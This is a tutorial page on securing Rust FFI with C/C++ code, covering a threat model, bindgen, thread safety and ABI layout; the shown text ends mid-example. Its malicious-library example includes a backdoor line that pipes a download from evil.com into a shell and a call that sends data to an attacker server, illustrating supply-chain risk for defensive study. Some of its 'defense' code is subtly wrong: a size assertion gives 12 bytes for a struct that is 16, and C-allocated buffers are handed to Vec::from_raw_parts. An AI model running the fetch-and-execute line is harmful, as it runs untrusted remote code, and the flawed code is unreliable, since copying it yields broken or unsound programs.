Cybersecurity and online safety
Learn Cybersecurity

Rust FFI Security: Safe Interfacing with C/C++ Code (2026)

Learn to safely interface Rust with unsafe C/C++ code, handle FFI boundaries securely, and avoid common FFI security pitfalls.

rust ffi c interop security unsafe rust

Learn to safely interface Rust with C/C++ code using FFI. Understand security considerations, best practices, and how to maintain Rust’s safety guarantees while working with unsafe foreign code.

Key Takeaways

  • FFI Fundamentals: Understand Rust FFI mechanisms
  • Safety Boundaries: Maintain safety at FFI boundaries
  • Error Handling: Handle FFI errors securely
  • Memory Management: Safe memory handling across FFI
  • Security Practices: Avoid common FFI security pitfalls
  • Best Practices: Production-ready FFI patterns

Table of Contents

  1. Understanding FFI
  2. Calling C from Rust
  3. Safety Boundaries
  4. Memory Management
  5. Error Handling
  6. Security Best Practices
  7. Advanced Scenarios
  8. Troubleshooting Guide
  9. Real-World Case Study
  10. FAQ
  11. Conclusion

TL;DR

Safely interface Rust with C/C++ code using FFI. Learn to maintain safety boundaries, handle memory securely, and avoid common security pitfalls when working with foreign code.


Prerequisites

  • Rust 1.80+ installed
  • Understanding of Rust unsafe code
  • Basic C programming knowledge
  • Understanding of memory safety concepts

  • Use FFI only when necessary
  • Audit unsafe FFI code thoroughly
  • Test FFI boundaries extensively
  • Document FFI safety assumptions

Understanding FFI

Why FFI?

Common Use Cases:

  • Using existing C/C++ libraries
  • System APIs
  • Performance-critical code
  • Legacy code integration

Security Considerations:

  • FFI bypasses Rust’s safety checks
  • Must manually ensure safety
  • Potential for memory safety issues
  • Requires careful auditing

FFI Threat Model (Critical for Security Analysis)

Understanding what can go wrong from an attacker’s perspective

FFI is not just about writing safe code—it’s about defending against malicious or compromised foreign code. This threat model helps you think like an attacker.

Primary FFI Threats

ThreatDescriptionAttack VectorImpact
Malicious C LibraryIntentionally malicious foreign codeSupply chain attack, compromised dependencyRCE, data exfiltration, privilege escalation
Compromised C LibraryLegitimate library with injected malwareBuild system compromise, backdoored releaseSame as malicious
Unexpected ReentrancyC code calls back into Rust unexpectedlyCallback during FFI callMemory corruption, use-after-free
ABI MismatchesType size/layout differs between Rust/CVersion skew, platform differencesMemory corruption, crashes
Integer TruncationValue truncated crossing FFI boundaryLarge Rust value → small C typeBuffer overflow, logic bugs
Contract ViolationsC code violates documented behaviorBuggy C implementationUndefined behavior, crashes
Thread Safety ViolationsC code not thread-safe as documentedConcurrent FFI callsData races, corruption

Threat 1: Malicious or Compromised C Libraries

Scenario: You depend on a C library that gets compromised (supply chain attack).

Attack:

// Malicious C library code
int process_data(const char* data, size_t len) {
    // ❌ Backdoor: Exfiltrate data
    send_to_attacker_server(data, len);
    
    // ❌ Backdoor: Execute arbitrary code
    if (strcmp(data, "TRIGGER") == 0) {
        system("curl evil.com/payload | sh");
    }
    
    return 0;
}

Rust can’t protect you:

extern "C" {
    fn process_data(data: *const u8, len: usize) -> i32;
}

pub fn safe_process(data: &[u8]) -> Result<(), Error> {
    unsafe {
        // ✅ Rust wrapper is "safe"
        // ❌ But C library is malicious!
        let result = process_data(data.as_ptr(), data.len());
        if result == 0 { Ok(()) } else { Err(Error::Failed) }
    }
}

Defenses:

  • ✅ Audit C library source code (if available)
  • ✅ Use sandboxing (seccomp, pledge, landlock)
  • ✅ Monitor network/syscalls at runtime
  • ✅ Pin dependency versions and verify checksums
  • ✅ Use supply chain security tools (sigstore, in-toto)
  • ⚠️ Rust’s safety guarantees do NOT apply to C code

Threat 2: Unexpected Reentrancy

Scenario: C code calls back into Rust during an FFI call, violating assumptions.

Attack:

static mut GLOBAL_STATE: Vec<String> = Vec::new();

extern "C" fn rust_callback(data: *const u8, len: usize) {
    unsafe {
        // ❌ Modifies global state during callback
        GLOBAL_STATE.push("callback".to_string());
    }
}

extern "C" {
    fn c_function_with_callback(cb: extern "C" fn(*const u8, usize));
}

pub fn process() {
    unsafe {
        // ❌ C code might call rust_callback multiple times
        // ❌ Or call it recursively
        // ❌ Or call it from different thread
        c_function_with_callback(rust_callback);
        
        // ❌ GLOBAL_STATE might be in inconsistent state
        println!("{:?}", GLOBAL_STATE);
    }
}

Attack vectors:

  • Recursive callbacks (reentrancy)
  • Callbacks from different threads
  • Callbacks during Drop (use-after-free)
  • Callbacks violating borrow rules

Defenses:

  • ✅ Document reentrancy assumptions
  • ✅ Use RefCell to detect reentrancy at runtime
  • ✅ Avoid mutable global state in callbacks
  • ✅ Use thread-local storage instead of globals
  • ✅ Test with fuzzing and sanitizers

Example defense:

use std::cell::RefCell;

thread_local! {
    static IN_CALLBACK: RefCell<bool> = RefCell::new(false);
}

extern "C" fn safe_callback(data: *const u8, len: usize) {
    IN_CALLBACK.with(|in_cb| {
        if *in_cb.borrow() {
            panic!("Reentrancy detected!"); // Fail fast
        }
        *in_cb.borrow_mut() = true;
    });
    
    // Safe to process now
    let slice = unsafe { std::slice::from_raw_parts(data, len) };
    process_data(slice);
    
    IN_CALLBACK.with(|in_cb| *in_cb.borrow_mut() = false);
}

Threat 3: ABI Mismatches

Scenario: Type sizes differ between Rust and C due to platform or version differences.

Attack:

// C header (32-bit system)
typedef struct {
    int id;        // 4 bytes
    long value;    // 4 bytes on 32-bit
} Data;
// Rust code (64-bit system)
#[repr(C)]
struct Data {
    id: i32,       // 4 bytes
    value: i64,    // ❌ 8 bytes! Mismatch!
}

// ❌ Memory corruption when passing Data across FFI

Attack vectors:

  • long size varies (32-bit vs 64-bit)
  • size_t vs usize assumptions
  • Struct padding differences
  • Enum representation differences
  • bool size (1 byte in Rust, undefined in C)

Defenses:

  • ✅ Use fixed-size types (int32_t, uint64_t)
  • ✅ Use #[repr(C)] for all FFI structs
  • ✅ Test on all target platforms
  • ✅ Use bindgen to generate bindings (reduces errors)
  • ✅ Add compile-time size assertions

Example defense:

#[repr(C)]
struct Data {
    id: i32,
    value: i64,
}

// Compile-time assertion
const _: () = {
    assert!(std::mem::size_of::<Data>() == 12); // 4 + 8
    assert!(std::mem::align_of::<Data>() == 8);
};

Threat 4: Integer Truncation Across Boundaries

Scenario: Large Rust value truncated to smaller C type, causing overflow.

Attack:

extern "C" {
    // C function expects 32-bit int
    fn allocate_buffer(size: u32) -> *mut u8;
}

pub fn create_buffer(size: usize) -> Vec<u8> {
    unsafe {
        // ❌ Truncation: size might be > u32::MAX
        let ptr = allocate_buffer(size as u32);
        
        // ❌ If size=0x1_0000_0000, truncates to 0
        // ❌ C allocates 0 bytes, Rust expects 4GB
        Vec::from_raw_parts(ptr, size, size)
    }
}

Attack vectors:

  • usizeu32 truncation on 64-bit
  • i64i32 truncation
  • Negative values becoming large unsigned
  • Overflow in size calculations

Defenses:

  • ✅ Validate before casting
  • ✅ Use try_into() instead of as
  • ✅ Add runtime checks for truncation
  • ✅ Document maximum safe values

Example defense:

use std::convert::TryInto;

pub fn create_buffer(size: usize) -> Result<Vec<u8>, Error> {
    // ✅ Explicit check for truncation
    let size_u32: u32 = size.try_into()
        .map_err(|_| Error::SizeTooLarge)?;
    
    unsafe {
        let ptr = allocate_buffer(size_u32);
        if ptr.is_null() {
            return Err(Error::AllocationFailed);
        }
        Ok(Vec::from_raw_parts(ptr, size, size))
    }
}

Threat 5: C Code Violating Documented Contracts

Scenario: C library doesn’t follow its own documentation.

Attack:

// Documentation says: "Returns non-null pointer or NULL on error"
// Actual behavior: Sometimes returns invalid pointer (0xdeadbeef)

void* allocate(size_t size) {
    if (size == 0) return NULL;
    if (size > MAX_SIZE) return (void*)0xdeadbeef; // ❌ Invalid!
    return malloc(size);
}
extern "C" {
    fn allocate(size: usize) -> *mut u8;
}

pub fn safe_allocate(size: usize) -> Option<Vec<u8>> {
    unsafe {
        let ptr = allocate(size);
        if ptr.is_null() {
            None
        } else {
            // ❌ Assumes non-null = valid
            // ❌ But C returned 0xdeadbeef!
            Some(Vec::from_raw_parts(ptr, size, size))
        }
    }
}

Attack vectors:

  • Returning invalid (but non-null) pointers
  • Modifying “const” data
  • Not being thread-safe despite documentation
  • Calling callbacks unexpectedly
  • Memory leaks despite “free” documentation

Defenses:

  • ✅ Don’t trust C documentation—verify with testing
  • ✅ Add runtime checks beyond null checks
  • ✅ Use sanitizers (ASan, MSan, UBSan)
  • ✅ Fuzz FFI boundaries extensively
  • ✅ Audit C source code if possible
  • ✅ Add defensive checks even if “unnecessary”

Threat 6: Thread Safety Violations

Scenario: C library claims thread-safety but isn’t actually safe.

Attack:

// Documentation: "Thread-safe"
// Reality: Uses global state without locks

static int global_counter = 0;

int increment() {
    return ++global_counter; // ❌ Data race!
}
extern "C" {
    fn increment() -> i32;
}

// ❌ Marked as safe for Send/Sync based on docs
pub struct Counter;

unsafe impl Send for Counter {}
unsafe impl Sync for Counter {}

impl Counter {
    pub fn increment(&self) -> i32 {
        unsafe { increment() }
        // ❌ Data race in C code!
    }
}

Attack vectors:

  • Global state without synchronization
  • Non-reentrant functions called concurrently
  • Callbacks invoked on unexpected threads
  • Signal handlers causing reentrancy

Defenses:

  • ✅ Test with ThreadSanitizer (TSan)
  • ✅ Don’t trust “thread-safe” claims—verify
  • ✅ Add Rust-side synchronization as defense
  • ✅ Document thread-safety assumptions
  • ✅ Use !Send / !Sync when uncertain

Defense-in-Depth Strategy

Layer 1: Minimize FFI Surface

  • Use FFI only when absolutely necessary
  • Prefer pure Rust alternatives
  • Isolate FFI to specific modules

Layer 2: Input Validation

  • Validate all inputs before FFI calls
  • Check sizes, ranges, null bytes
  • Sanitize strings and buffers

Layer 3: Output Validation

  • Validate all outputs from FFI
  • Check pointers, sizes, error codes
  • Verify invariants after FFI calls

Layer 4: Sandboxing

  • Run FFI code in sandboxed process
  • Use seccomp/pledge/landlock
  • Limit syscalls and resources

Layer 5: Runtime Monitoring

  • Use sanitizers (ASan, MSan, UBSan, TSan)
  • Monitor for unexpected behavior
  • Log FFI calls for auditing

Layer 6: Testing

  • Fuzz FFI boundaries
  • Test with invalid inputs
  • Test concurrent access
  • Test on all platforms

Key Takeaways

FFI Threat Model Summary:

  1. Malicious C code - Rust can’t protect you (use sandboxing)
  2. Reentrancy - Callbacks can violate assumptions (detect at runtime)
  3. ABI mismatches - Types must match exactly (use bindgen, test on all platforms)
  4. Integer truncation - Validate before casting (use try_into())
  5. Contract violations - Don’t trust C docs (verify with testing/sanitizers)
  6. Thread safety - C “thread-safe” may be false (test with TSan)

Security Rule: Assume all C code is potentially malicious. Validate everything, trust nothing, and use defense-in-depth.


Calling C from Rust

⚠️ Manual FFI declarations are error-prone. Use bindgen to auto-generate bindings.

Why bindgen?

  • ✅ Automatically generates correct #[repr(C)] structs
  • ✅ Handles platform-specific types correctly
  • ✅ Reduces human error (typos, wrong types, missing fields)
  • ✅ Updates automatically when C headers change
  • ⚠️ Still generates unsafe code (you must wrap it safely)

Setup:

Add to Cargo.toml:

[build-dependencies]
bindgen = "0.69"

Create build.rs:

use std::env;
use std::path::PathBuf;

fn main() {
    // Tell cargo to invalidate the built crate whenever the wrapper changes
    println!("cargo:rerun-if-changed=wrapper.h");
    
    // Tell cargo to link the C library
    println!("cargo:rustc-link-lib=mylib");
    
    // Generate bindings
    let bindings = bindgen::Builder::default()
        .header("wrapper.h")
        .parse_callbacks(Box::new(bindgen::CargoCallbacks))
        .generate()
        .expect("Unable to generate bindings");
    
    // Write bindings to $OUT_DIR/bindings.rs
    let out_path = PathBuf::from(env::var("OUT_DIR").unwrap());
    bindings
        .write_to_file(out_path.join("bindings.rs"))
        .expect("Couldn't write bindings!");
}

Use generated bindings:

// Include generated bindings
#![allow(non_upper_case_globals)]
#![allow(non_camel_case_types)]
#![allow(non_snake_case)]

include!(concat!(env!("OUT_DIR"), "/bindings.rs"));

// ⚠️ Generated bindings are unsafe - wrap them!
pub fn safe_add(a: i32, b: i32) -> i32 {
    unsafe { add(a, b) }
}

bindgen Risks:

Even with bindgen, you must:

  • Still generates unsafe code - You must wrap it safely
  • Doesn’t validate C code behavior - C bugs still exist
  • Doesn’t add runtime checks - You must validate inputs
  • Doesn’t prevent ABI mismatches - Test on all platforms
  • Reduces type errors - But doesn’t eliminate all FFI risks

Key Takeaway: bindgen reduces errors but doesn’t make FFI safe. You still need wrappers, validation, and sanitizers.


⚠️ Only use manual declarations if bindgen is not an option.

Create wrapper.h:

Click to view C code
#ifndef WRAPPER_H
#define WRAPPER_H

int add(int a, int b);

#endif

Create wrapper.c:

Click to view C code
#include "wrapper.h"

int add(int a, int b) {
    return a + b;
}

Rust code (manual declaration):

Click to view Rust code
use std::os::raw::c_int;

// ⚠️ Manual declaration - error-prone!
extern "C" {
    fn add(a: c_int, b: c_int) -> c_int;
}

fn safe_add(a: i32, b: i32) -> i32 {
    unsafe { add(a, b) }
}

fn main() {
    let result = safe_add(5, 3);
    println!("Result: {}", result);
}

Build Configuration

build.rs:

Click to view Rust code
fn main() {
    cc::Build::new()
        .file("src/wrapper.c")
        .compile("wrapper");
}

Using cbindgen for Safer C Headers (Calling Rust from C)

If you’re exposing Rust code to C, use cbindgen to generate headers.

Why cbindgen?

  • ✅ Generates C headers from Rust code
  • ✅ Ensures C declarations match Rust exactly
  • ✅ Reduces manual header maintenance
  • ✅ Prevents ABI mismatches

Setup:

cargo install cbindgen

Create cbindgen.toml:

language = "C"
include_guard = "MY_LIB_H"
autogen_warning = "/* Warning, this file is autogenerated by cbindgen. Don't modify this manually. */"

Rust code:

#[repr(C)]
pub struct Point {
    pub x: f64,
    pub y: f64,
}

#[no_mangle]
pub extern "C" fn create_point(x: f64, y: f64) -> Point {
    Point { x, y }
}

#[no_mangle]
pub extern "C" fn distance(p1: Point, p2: Point) -> f64 {
    let dx = p1.x - p2.x;
    let dy = p1.y - p2.y;
    (dx * dx + dy * dy).sqrt()
}

Generate header:

cbindgen --config cbindgen.toml --crate my-crate --output my_lib.h

Generated my_lib.h:

/* Warning, this file is autogenerated by cbindgen. Don't modify this manually. */

#ifndef MY_LIB_H
#define MY_LIB_H

typedef struct Point {
    double x;
    double y;
} Point;

Point create_point(double x, double y);
double distance(Point p1, Point p2);

#endif /* MY_LIB_H */

Benefits:

  • C header always matches Rust code
  • No manual synchronization needed
  • Reduces ABI mismatch risk

Safety Boundaries

Wrapping Unsafe Code

Click to view Rust code
use std::ffi::CString;
use std::os::raw::c_char;

extern "C" {
    fn process_string(s: *const c_char) -> i32;
}

pub fn safe_process_string(input: &str) -> Result<i32, String> {
    let c_string = CString::new(input)
        .map_err(|e| format!("Invalid string: {}", e))?;
    
    unsafe {
        let result = process_string(c_string.as_ptr());
        if result < 0 {
            Err("Processing failed".to_string())
        } else {
            Ok(result)
        }
    }
}

Memory Management

Safe Memory Handling

Click to view Rust code
use std::ffi::{CString, CStr};
use std::os::raw::c_char;

extern "C" {
    fn allocate_string() -> *mut c_char;
    fn free_string(ptr: *mut c_char);
}

pub struct SafeString {
    ptr: *mut c_char,
}

impl SafeString {
    pub fn new() -> Result<Self, String> {
        let ptr = unsafe { allocate_string() };
        if ptr.is_null() {
            Err("Allocation failed".to_string())
        } else {
            Ok(SafeString { ptr })
        }
    }
    
    pub fn as_str(&self) -> Result<&str, std::str::Utf8Error> {
        unsafe {
            CStr::from_ptr(self.ptr).to_str()
        }
    }
}

impl Drop for SafeString {
    fn drop(&mut self) {
        unsafe {
            free_string(self.ptr);
        }
    }
}

Error Handling

Converting C Errors

Click to view Rust code
use std::os::raw::c_int;

extern "C" {
    fn c_function() -> c_int;
}

#[derive(Debug)]
enum FFIError {
    Failure,
    InvalidInput,
}

impl From<c_int> for FFIError {
    fn from(code: c_int) -> Self {
        match code {
            -1 => FFIError::Failure,
            -2 => FFIError::InvalidInput,
            _ => FFIError::Failure,
        }
    }
}

pub fn safe_function() -> Result<(), FFIError> {
    let result = unsafe { c_function() };
    if result == 0 {
        Ok(())
    } else {
        Err(result.into())
    }
}

Security Best Practices

Input Validation

Click to view Rust code
pub fn safe_call_with_validation(input: &str) -> Result<(), String> {
    // Validate before FFI call
    if input.len() > 1024 {
        return Err("Input too long".to_string());
    }
    
    // Check for null bytes
    if input.contains('\0') {
        return Err("Input contains null bytes".to_string());
    }
    
    let c_string = CString::new(input)?;
    unsafe {
        // Safe to call after validation
        foreign_function(c_string.as_ptr());
    }
    Ok(())
}

Bounds Checking

Click to view Rust code
extern "C" {
    fn get_array_element(arr: *const i32, index: usize) -> i32;
}

pub fn safe_get_element(arr: &[i32], index: usize) -> Option<i32> {
    // Bounds check before FFI call
    if index >= arr.len() {
        return None;
    }
    
    unsafe {
        Some(get_array_element(arr.as_ptr(), index))
    }
}

Thread Safety & Reentrancy in FFI (Critical Production Risk)

This is a major source of bugs in production security tools and EDR agents.

Understanding Thread Safety in FFI

The Problem:

C libraries often have unclear or incorrect thread-safety documentation. Rust’s Send and Sync traits assume correct behavior, but FFI breaks these guarantees.

C Library ClaimsRealityRisk
”Thread-safe”Uses global state without locksData races
”Reentrant”Has hidden static variablesCorruption
”No documentation”Unknown safetyAssume unsafe
”Single-threaded only”Clear limitationMust enforce

When to Mark FFI Wrappers Send / Sync

Decision Matrix:

ScenarioSendSyncReasoning
C library is thread-safe✅ Yes✅ YesSafe to share and send
C library uses thread-local storage✅ Yes❌ NoCan send, but not share
C library has global mutable state❌ No❌ NoNot thread-safe
C library unknown thread-safety❌ No❌ NoAssume unsafe
Wrapper adds Rust-side locking✅ Yes✅ YesRust ensures safety

Example 1: Thread-Safe C Library

// C library is documented as thread-safe
extern "C" {
    fn thread_safe_function(data: *const u8, len: usize) -> i32;
}

pub struct ThreadSafeWrapper {
    // No internal state
}

// ✅ Safe because C library is thread-safe
unsafe impl Send for ThreadSafeWrapper {}
unsafe impl Sync for ThreadSafeWrapper {}

impl ThreadSafeWrapper {
    pub fn call(&self, data: &[u8]) -> i32 {
        unsafe {
            thread_safe_function(data.as_ptr(), data.len())
        }
    }
}

Example 2: NOT Thread-Safe C Library

// C library uses global state (not thread-safe)
extern "C" {
    fn not_thread_safe_function(data: *const u8) -> i32;
}

pub struct NotThreadSafeWrapper {
    _marker: std::marker::PhantomData<*const ()>,
}

// ❌ Explicitly NOT Send/Sync
// (PhantomData<*const ()> makes it !Send + !Sync)

impl NotThreadSafeWrapper {
    pub fn call(&self, data: &[u8]) -> i32 {
        unsafe {
            not_thread_safe_function(data.as_ptr())
        }
    }
}

// Compiler prevents this:
// fn use_in_thread(wrapper: NotThreadSafeWrapper) {
//     std::thread::spawn(move || {
//         wrapper.call(&[1, 2, 3]); // ❌ Error: NotThreadSafeWrapper is !Send
//     });
// }

Example 3: Add Rust-Side Locking

use std::sync::Mutex;

// C library is NOT thread-safe, but we add locking
extern "C" {
    fn unsafe_c_function(data: *const u8, len: usize) -> i32;
}

pub struct LockedWrapper {
    lock: Mutex<()>,
}

// ✅ Safe because Rust adds synchronization
unsafe impl Send for LockedWrapper {}
unsafe impl Sync for LockedWrapper {}

impl LockedWrapper {
    pub fn new() -> Self {
        Self {
            lock: Mutex::new(()),
        }
    }
    
    pub fn call(&self, data: &[u8]) -> i32 {
        let _guard = self.lock.lock().unwrap();
        unsafe {
            // Only one thread can execute this at a time
            unsafe_c_function(data.as_ptr(), data.len())
        }
    }
}

Reentrancy Risks in Callbacks

The Problem:

C code might call Rust callbacks in unexpected ways:

  • Recursively (callback calls function that triggers callback again)
  • From signal handlers
  • From different threads
  • During object destruction

Example Attack:

use std::cell::RefCell;

thread_local! {
    static COUNTER: RefCell<u32> = RefCell::new(0);
}

extern "C" fn callback(value: u32) {
    COUNTER.with(|c| {
        let mut count = c.borrow_mut();
        *count += value;
        
        // ❌ If C code calls this recursively, this panics!
        // (Already borrowed mutably)
    });
}

extern "C" {
    fn register_callback(cb: extern "C" fn(u32));
    fn trigger_callback();
}

pub fn setup() {
    unsafe {
        register_callback(callback);
        trigger_callback(); // Might call callback recursively!
    }
}

Defense: Detect Reentrancy

use std::cell::Cell;

thread_local! {
    static IN_CALLBACK: Cell<bool> = Cell::new(false);
}

extern "C" fn safe_callback(value: u32) {
    // ✅ Detect reentrancy
    if IN_CALLBACK.with(|c| c.get()) {
        eprintln!("ERROR: Reentrant callback detected!");
        return; // Or panic, depending on severity
    }
    
    IN_CALLBACK.with(|c| c.set(true));
    
    // Safe to process now
    process_value(value);
    
    IN_CALLBACK.with(|c| c.set(false));
}

Callbacks on Foreign Threads

The Problem:

C code might invoke callbacks from threads it created, not Rust threads.

Example:

// C library creates its own thread
void* worker_thread(void* arg) {
    callback_fn cb = (callback_fn)arg;
    cb(42); // ❌ Calling Rust callback from C thread!
    return NULL;
}

void start_worker(callback_fn cb) {
    pthread_t thread;
    pthread_create(&thread, NULL, worker_thread, (void*)cb);
}
extern "C" fn callback(value: u32) {
    // ❌ This might be called from a C thread!
    // ❌ Rust thread-local storage won't work
    // ❌ Panics might not unwind correctly
    
    println!("Value: {}", value);
}

extern "C" {
    fn start_worker(cb: extern "C" fn(u32));
}

pub fn setup() {
    unsafe {
        start_worker(callback);
    }
}

Defense: Document and Test

/// # Safety
///
/// This callback may be invoked from foreign (C) threads.
/// - Do NOT use thread-local storage
/// - Do NOT panic (may not unwind correctly)
/// - Do NOT assume Rust thread context
///
/// # Thread Safety
///
/// This callback is thread-safe and can be called concurrently
/// from multiple threads.
extern "C" fn thread_safe_callback(value: u32) {
    // ✅ Use only thread-safe operations
    // ✅ No thread-local storage
    // ✅ No panics
    
    if let Err(e) = process_value_safe(value) {
        eprintln!("Callback error: {}", e);
        // Don't panic!
    }
}

Documenting Thread-Safety Assumptions

Template for FFI wrapper documentation:

/// Wrapper for C library `libfoo`.
///
/// # Thread Safety
///
/// - **Send**: Yes - Can be transferred between threads
/// - **Sync**: No - Cannot be shared between threads (uses global state)
///
/// # C Library Thread Safety
///
/// The underlying C library (`libfoo`) is NOT thread-safe:
/// - Uses global mutable state without locking
/// - Not reentrant
/// - Must not be called concurrently
///
/// # Rust Wrapper Safety
///
/// This wrapper does NOT add synchronization. Users must ensure:
/// - Only one thread calls methods at a time
/// - Or use external synchronization (Mutex, etc.)
///
/// # Callbacks
///
/// Callbacks registered with this library:
/// - Are invoked on the same thread that calls `process()`
/// - Are NOT reentrant (will not be called recursively)
/// - May be called multiple times per `process()` call
pub struct FooWrapper {
    _marker: std::marker::PhantomData<*const ()>, // !Send + !Sync
}

Testing Thread Safety

1. Test with ThreadSanitizer (TSan):

# Enable ThreadSanitizer
export RUSTFLAGS="-Z sanitizer=thread"

# Run tests
cargo +nightly test --target x86_64-unknown-linux-gnu

# TSan will detect data races in C code

2. Stress test with multiple threads:

#[test]
fn test_concurrent_access() {
    let wrapper = Arc::new(LockedWrapper::new());
    let mut handles = vec![];
    
    for _ in 0..100 {
        let wrapper = wrapper.clone();
        handles.push(std::thread::spawn(move || {
            for _ in 0..1000 {
                wrapper.call(&[1, 2, 3]);
            }
        }));
    }
    
    for handle in handles {
        handle.join().unwrap();
    }
}

3. Test for reentrancy:

#[test]
#[should_panic(expected = "Reentrant callback")]
fn test_reentrancy_detection() {
    setup_callback_that_triggers_recursion();
    trigger(); // Should panic if reentrant
}

Key Takeaways

Thread Safety Rules:

  1. Default to !Send and !Sync unless you’re certain
  2. Document thread-safety assumptions explicitly
  3. Test with ThreadSanitizer to catch races
  4. Add Rust-side locking if C library isn’t thread-safe
  5. Detect reentrancy in callbacks with guards
  6. Never panic in callbacks from foreign threads

Reentrancy Rules:

  1. Assume callbacks can be reentrant unless documented otherwise
  2. Use reentrancy guards to detect violations
  3. Avoid mutable global state in callbacks
  4. Test for recursive calls explicitly

Production Rule: For security tools and EDR agents, thread safety bugs in FFI are the #1 cause of crashes and data corruption. Test exhaustively.


ABI & Struct Layout Risks (Subtle Memory Corruption)

These bugs are silent, platform-specific, and extremely hard to debug.

The ABI Problem

ABI (Application Binary Interface) defines how data is laid out in memory and passed between functions. Rust and C must agree exactly, or memory corruption occurs.

Risk 1: #[repr(C)] is MANDATORY

The Problem:

Rust’s default struct layout is undefined and can change between compiler versions.

// ❌ BAD: Default Rust layout
struct Data {
    id: u32,
    value: u64,
}

// Rust might layout as:
// - id (4 bytes) + padding (4 bytes) + value (8 bytes) = 16 bytes
// OR
// - value (8 bytes) + id (4 bytes) + padding (4 bytes) = 16 bytes
// OR
// - Reordered completely!

extern "C" {
    fn process_data(data: *const Data); // ❌ Undefined behavior!
}

Solution:

// ✅ GOOD: Explicit C layout
#[repr(C)]
struct Data {
    id: u32,
    value: u64,
}

// Now guaranteed to match C:
// struct Data {
//     uint32_t id;
//     uint64_t value;
// };

Risk 2: Padding and Alignment

The Problem:

Compilers add padding to align fields, and this padding must match between Rust and C.

// C struct
struct Packet {
    uint8_t version;  // 1 byte
    // 3 bytes padding
    uint32_t length;  // 4 bytes
    uint64_t timestamp; // 8 bytes
}; // Total: 16 bytes
#[repr(C)]
struct Packet {
    version: u8,      // 1 byte
    // ❌ Rust adds 3 bytes padding (implicit)
    length: u32,      // 4 bytes
    timestamp: u64,   // 8 bytes
} // Total: 16 bytes ✅ Matches!

// But if you forget #[repr(C)]:
struct Packet {
    version: u8,      // 1 byte
    length: u32,      // 4 bytes
    timestamp: u64,   // 8 bytes
} // ❌ Might be 13 bytes (no padding) or reordered!

Compile-Time Verification:

#[repr(C)]
struct Packet {
    version: u8,
    length: u32,
    timestamp: u64,
}

// ✅ Compile-time size assertion
const _: () = {
    assert!(std::mem::size_of::<Packet>() == 16);
    assert!(std::mem::align_of::<Packet>() == 8);
};

// ✅ Compile-time offset assertions
const _: () = {
    use std::mem::offset_of;
    assert!(offset_of!(Packet, version) == 0);
    assert!(offset_of!(Packet, length) == 4);
    assert!(offset_of!(Packet, timestamp) == 8);
};

Risk 3: Platform-Specific Type Sizes

The Problem:

Some C types have different sizes on different platforms.

C Type32-bit64-bitRust Equivalent
int4 bytes4 bytesc_int (NOT i32 always!)
long4 bytes8 bytesc_long (NOT i64!)
size_t4 bytes8 bytesusize
pointer4 bytes8 bytes*const T

❌ Bad Example:

// ❌ Assumes long is always 64-bit
#[repr(C)]
struct Data {
    id: i32,
    value: i64, // ❌ Wrong! Should be c_long
}

extern "C" {
    fn process(data: *const Data);
}

✅ Good Example:

use std::os::raw::{c_int, c_long};

// ✅ Uses platform-specific types
#[repr(C)]
struct Data {
    id: c_int,
    value: c_long, // ✅ Correct on all platforms
}

extern "C" {
    fn process(data: *const Data);
}

Risk 4: Version Skew Between Headers and Binaries

The Problem:

You compile against one version of C headers, but link against a different version of the library.

Scenario:

// libfoo v1.0 header
struct Config {
    int version;
    int flags;
}; // 8 bytes

// libfoo v2.0 header (ABI break!)
struct Config {
    int version;
    int flags;
    int new_field; // ❌ Added field!
}; // 12 bytes
// Rust code compiled against v1.0 header
#[repr(C)]
struct Config {
    version: c_int,
    flags: c_int,
} // 8 bytes

extern "C" {
    fn init_config(cfg: *mut Config);
}

// ❌ If linked against v2.0 library:
// - C code expects 12 bytes
// - Rust provides 8 bytes
// - Memory corruption!

Defenses:

  1. Pin library versions:
[dependencies]
libfoo-sys = "=1.0.5" # Exact version
  1. Runtime version checks:
extern "C" {
    fn get_library_version() -> c_int;
}

pub fn init() -> Result<(), Error> {
    let version = unsafe { get_library_version() };
    if version != EXPECTED_VERSION {
        return Err(Error::VersionMismatch);
    }
    Ok(())
}
  1. Use bindgen to generate bindings:
# Generates Rust bindings from C headers
bindgen wrapper.h -o bindings.rs

Risk 5: bool and char ABI Mismatches

The Problem:

bool and char have platform-specific representations.

bool Mismatch:

// C99 bool (stdbool.h)
bool is_valid(int x); // Returns 0 or 1 (1 byte)
// ❌ BAD: Rust bool is not guaranteed to match C bool
extern "C" {
    fn is_valid(x: c_int) -> bool; // ❌ Might be wrong!
}

// ✅ GOOD: Use u8 and convert
extern "C" {
    fn is_valid(x: c_int) -> u8; // ✅ Safe
}

pub fn safe_is_valid(x: i32) -> bool {
    unsafe { is_valid(x) != 0 }
}

char Mismatch:

// C char (might be signed or unsigned!)
char get_byte(); // Returns -128 to 127 OR 0 to 255
use std::os::raw::c_char;

// ✅ Use c_char (platform-specific)
extern "C" {
    fn get_byte() -> c_char;
}

// Or use u8/i8 explicitly:
extern "C" {
    fn get_byte() -> u8; // ✅ If you know it's unsigned
}

Comprehensive ABI Checklist

Before shipping FFI code:

  • All FFI structs use #[repr(C)]
  • Compile-time size assertions added
  • Compile-time alignment assertions added
  • Compile-time offset assertions added (if critical)
  • Platform-specific types use c_int, c_long, etc.
  • bool handled explicitly (use u8 or c_int)
  • char handled explicitly (use c_char or u8/i8)
  • Library version checked at runtime
  • Tested on all target platforms (32-bit, 64-bit, ARM, etc.)
  • Used bindgen to generate bindings (reduces errors)

Testing for ABI Issues

1. Test on multiple platforms:

# Test on 32-bit and 64-bit
cargo test --target i686-unknown-linux-gnu
cargo test --target x86_64-unknown-linux-gnu
cargo test --target aarch64-unknown-linux-gnu

2. Use MemorySanitizer (MSan):

# Detects uninitialized memory (padding issues)
export RUSTFLAGS="-Z sanitizer=memory"
cargo +nightly test --target x86_64-unknown-linux-gnu

3. Fuzz FFI boundaries:

fuzz_target!(|data: &[u8]| {
    if data.len() >= std::mem::size_of::<Packet>() {
        let packet: Packet = unsafe {
            std::ptr::read(data.as_ptr() as *const Packet)
        };
        let _ = process_packet(&packet);
    }
});

Key Takeaways

ABI Rules:

  1. Always use #[repr(C)] for FFI structs
  2. Add compile-time assertions for size/alignment
  3. Use platform-specific types (c_int, c_long)
  4. Handle bool and char explicitly (use u8/c_char)
  5. Test on all platforms (32-bit, 64-bit, ARM)
  6. Use bindgen to generate bindings (reduces errors)

Critical Rule: ABI mismatches cause silent memory corruption. They won’t crash immediately—they’ll corrupt data and crash later, making debugging nearly impossible.


Advanced Scenarios

Scenario 1: Callback Functions with Ownership Rules

Click to view Rust code
use std::ffi::c_void;

type Callback = extern "C" fn(data: *const u8, len: usize, user_data: *mut c_void);

extern "C" {
